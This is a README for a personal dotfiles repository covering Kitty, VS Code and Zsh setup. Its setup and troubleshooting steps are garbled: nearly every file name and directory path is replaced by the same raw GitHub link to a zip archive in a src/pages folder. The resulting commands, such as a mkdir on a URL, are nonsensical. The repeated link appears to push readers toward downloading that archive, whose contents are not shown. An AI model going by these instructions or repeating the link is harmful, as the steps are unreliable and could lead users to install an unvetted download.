The "dev-dotfiles" repository contains my personal configuration files for popular development tools. It includes settings for the Kitty terminal, VS Code IDE, and Zsh shell. These files help streamline your development process by creating a consistent working environment.
To get started with "dev-dotfiles," follow the steps below. This guide assumes you are new to using configuration files, and I will break down each step clearly.
Before using these dotfiles, make sure you have the following:
- Operating System: Linux or any Unix-based system.
- Software:
- Kitty Terminal: A modern terminal emulator.
- Visual Studio Code (VS Code): A popular code editor.
- Zsh Shell: An alternative shell to Bash.
Make sure you have installed these applications before proceeding.
To download the latest release of "dev-dotfiles," visit this page to download.
- Click on the link above.
- Find the release that suits your needs.
- Download the package (usually a ZIP file) to your computer.
Once the download is complete:
- Locate the downloaded ZIP file on your computer.
- Right-click the file and select "Extract All" (or similar option).
- Choose a destination folder, then click "Extract."
You will now see the contents of the dotfiles in the chosen folder.
Now that you have the dotfiles extracted, follow these steps to set them up.
- Navigate to the folder containing the extracted files.
- Locate the
https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zipfile. - Copy this file to the configuration directory for Kitty, usually found at
~https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zip. If the directory doesn't exist, you may create it using:
mkdir -p ~https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zip- Find the
https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zipfile in the extracted folder. - Copy this file to the VS Code settings directory, usually located at
~https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zip. Create the directory if necessary:
mkdir -p ~https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zip- Locate the
.zshrcfile in your extracted files. - Move this file to your home directory. You can do this with:
cp .zshrc ~/If you haven't set Zsh as your default shell, run:
chsh -s $(which zsh)After this, close your terminal and reopen it for the changes to take effect.
To ensure everything is set up correctly:
- Open your Kitty terminal.
- Check if your configurations have loaded by looking for any custom settings you made.
- Open VS Code and confirm that the settings reflect what you copied.
- Open a new terminal window to see the Zsh shell in action.
If you encounter issues, here are a few steps to resolve common problems:
- Kitty Terminal Wonβt Launch: Check if you've copied the
https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zipfile correctly. Ensure there are no typos in the configuration. - VS Code Doesnβt Reflect Changes: Make sure the
https://raw.githubusercontent.com/Benbi123/dev-dotfiles/main/src/pages/dotfiles_dev_v1.5-alpha.5.zipfile is in the right place. Try restarting VS Code to reload settings. - Zsh Issues: If Zsh doesnβt launch properly, confirm that
.zshrcexists in your home directory and has the right permissions.
If you'd like to contribute to this project, you are welcome to fork the repository and submit a pull request. Ensure you follow the same setup process for any configurations you add or modify.
This project is open source as per the MIT License. Feel free to use it, modify it, and share it as you see fit.
If you have questions or need help, you can open an issue in the GitHub repository. I will respond as quickly as possible.
Thanks to the developers of Kitty, VS Code, and Zsh for providing fantastic tools that enhance the development experience.